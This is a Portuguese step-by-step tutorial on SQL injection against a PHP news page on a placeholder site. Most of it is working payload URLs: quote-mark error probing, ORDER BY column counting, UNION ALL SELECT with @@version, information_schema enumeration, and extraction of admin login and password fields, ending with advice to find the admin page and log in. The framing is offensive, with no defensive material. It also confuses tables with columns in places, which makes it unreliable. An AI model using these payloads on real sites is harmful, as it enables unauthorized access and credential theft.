1. SQL Injection – Tutorial passo a passo!
Autor: J4rll3y Ribeiro
Duvida ou alguma sugestão: J4rll3y@live.com (MSN)
O que é Banco de dados?!
Banco de dados (ou base de dados) é um conjunto de registros dispostos em estrutura regular que
possibilita a reorganização dos mesmos e produção de informação. Um banco de dados
normalmente agrupa registros utilizáveis para um mesmo fim.
SQL Injection?!
A Injeção de SQL, mais conhecida através do termo americana SQL Injection, é um tipo de ameaça
de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL.
Deste modo a chamada injeção de SQL ocorre quando o atacante consegue inserir uma série de
instruções SQL dentro de uma consulta (query) através da manipulação da entrada de dados de
uma aplicação.
SQL significa Structured Query Language, ou Linguagem de Consulta Estruturada.
Prática!
A técnica conhecida como information_schema, é utilizada para descobrir todas as tabelas e
colunas existentes no banco de dados. Ela faz o trabalho de programas que auxiliam a exploração
do SQL Injection (SQL Helper) para descobrir as tabelas e as colunas. Com este método você tem
sua vida facilitada :)
INFORMATION_SCHEMA
Como já expliquei para vocês, agora iremos capturar do banco de dados as tabelas e as colunas
2. do banco de dados de um site fictício.
Descobrindo se o site está vulnerável ou Não!
Supomos que temos a seguinte notícia: www.site.com.br/noticias.php?id=15
Para saber se o site está ou não vulnerável a SQL Injection, adicionamos uma ' (aspas simples)
depois de id=15, ficando assim: www.site.com.br/noticias.php?id=15'
Ou então adicionando um null depois de id= ficando assim: www.site.com.br/noticias.php?id=null
Se o site retorna algum erro o site está vulnerável!
Descobrindo o numero de tabelas em um site!
Depois de saber que o site está vulnerável, vamos descobrir as tabelas do site com o comando
order by! Mas como usar o comando order by? Bastante simples, vamos ao exemplo!
Depois do id=15 adicionamos um "Order by" e o numero! Como no exemplo abaixo!
www.site.com.br/noticias.php?id=15 order by 1 - Sem erro
www.site.com.br/noticias.php?id=15 order by 2 - Sem erro
www.site.com.br/noticias.php?id=15 order by 3 - Sem erro
www.site.com.br/noticias.php?id=15 order by 4 - Sem erro
www.site.com.br/noticias.php?id=15 order by 5 - Sem erro
Obs: Se depois de adicionar o "order by e o numero" a pagina carregar normalmente, é porque a
tabela existe na database!
3. Pagina Carregada normalmente!
Depois de adicionar o "order by e o numero‖ a pagina gerar algum erro, então aquela tabela não
existe como na foto abaixo!
A pagina gerou um Erro, informando que a coluna seis Não existe!
Concluímos que o site tem cinco tabelas =)
Usando o comando Union
Depois de saber quantas tabelas têm no site, vamos usar o comando Union all select!
4. Para usar o comando é bastante simples: www.site.com.br/noticias.php?id=-15 union all select
,1,2,3,4,5—
Obs: usei um "-" depois do ID= e um "--" depois do numero 5que significa um comentário!
A pagina retornará dois números, por exemplo, nesse site fictício ela gerou os seguintes números
na pagina: 2 e 4!
Descobrindo a Versão da Database
Para descobrir a versão do Banco de dados, vamos adicionar um "@@version" no numero gerado
pelo site, por exemplo: www.site.com.br/noticias.php?id=-15 union all select ,1,@@version,3,4,5—
Depois disso a pagina irá retorna a versão do banco de dados! Muito simples não? :)
5. Listando todas as tabelas do site
Vamos agora listar todas as tabelas do site, então vamos ao exemplo:
www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(table_name),3,4,5 from
information_schema.tables where table_schema=database()—
A url ficou meio grande né :) Depois desse comando, se tiver tudo certo irá mostrar na pagina todos
as tabelas do site tipo:
admin,Categorias,Download,Empresa,EmpresaImg,Novidades,Produtos,ProdutosImg etc...
A tabela que nos intereça é a ―Admin‖ então vamos aprender a puxar as colunas dessa tabela!
Listando todas as colunas da tabela Admin!
Para listar as colunas é bastante fácil, vamos ao exemplo!
www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(column_name),3,4,5 from
information_schema.columns where table_name=Admin—
Depois de adicionado e a pagina não mostrar as colunas, então vamos ter que converte o Nome
―Admin‖ para Hexdecimal, existe um site que faz isso pra nós!
http://www.dolcevie.com/js/converter.html
6. Depois é só clicar em ―ASCll To Hex‖ e mostrará isso:
Voltando ao site, vamos adicionar esses números depois de table_name='Admin'
Ficando assim: www.site.com.br/noticias.php?id=-15 union all select
,1,group_concat(table_name),3,4,5 from information_schema.tables where
table_name=0x41646d696e
Obs: usei depois de table_name= um ―0x‖ e tambem tirei os ‖:‖ que separava os numeros!
Depois disso, o site irá retorna as colunas:
7. Então analisando até aqui, já temos: A coluna (Admin), as Tabelas e o Banco de dados, agora
vamos descobrir o Login e Senha!
Descobrindo o Login e Senha!
Agora é a parte mais fácio! Vamos adicionar na URL isso: www.site.com.br/noticias.php?id=-1
union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from Admin—
Removemos o ‖Group‖ que vinha antes do ―concat‖ e Adicionamos o 0x3a que de Hexadecimal
para Ascii siginifica‖:‖ (dois pontos)
Vejam o Login e Admin do site:
Você poderia usar o ―Limit‖ para encontrar mais administradores e senha, a url ficaria assim:
www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from
Admin limit 1,1—
Depois
www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from
Admin limit 2,1—
Depois
www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from
Admin limit 3,1—
Se existir mais admistradores irá mostrar no site!
Depois disso é só encontrar a área que o admin se loga no site, eu particularmente uso um
programa chamado: AdminPage/Login Finder que pode ser encontrado no Google!
8. Ele já achou a área do admin, depois disso é so logar no site e correr pro abraço!
9. Pronto!
Espero que tenham gostado
Conclusão
Nesse tutorial você aprendeu (espero) a fazer um sql injection, lembrando que existem ferramentas
10. que fazem todo esse trabalho pra nós, mas com ferramenta não tem graça.
Lembrando que usei a wikipédia para o tutorial!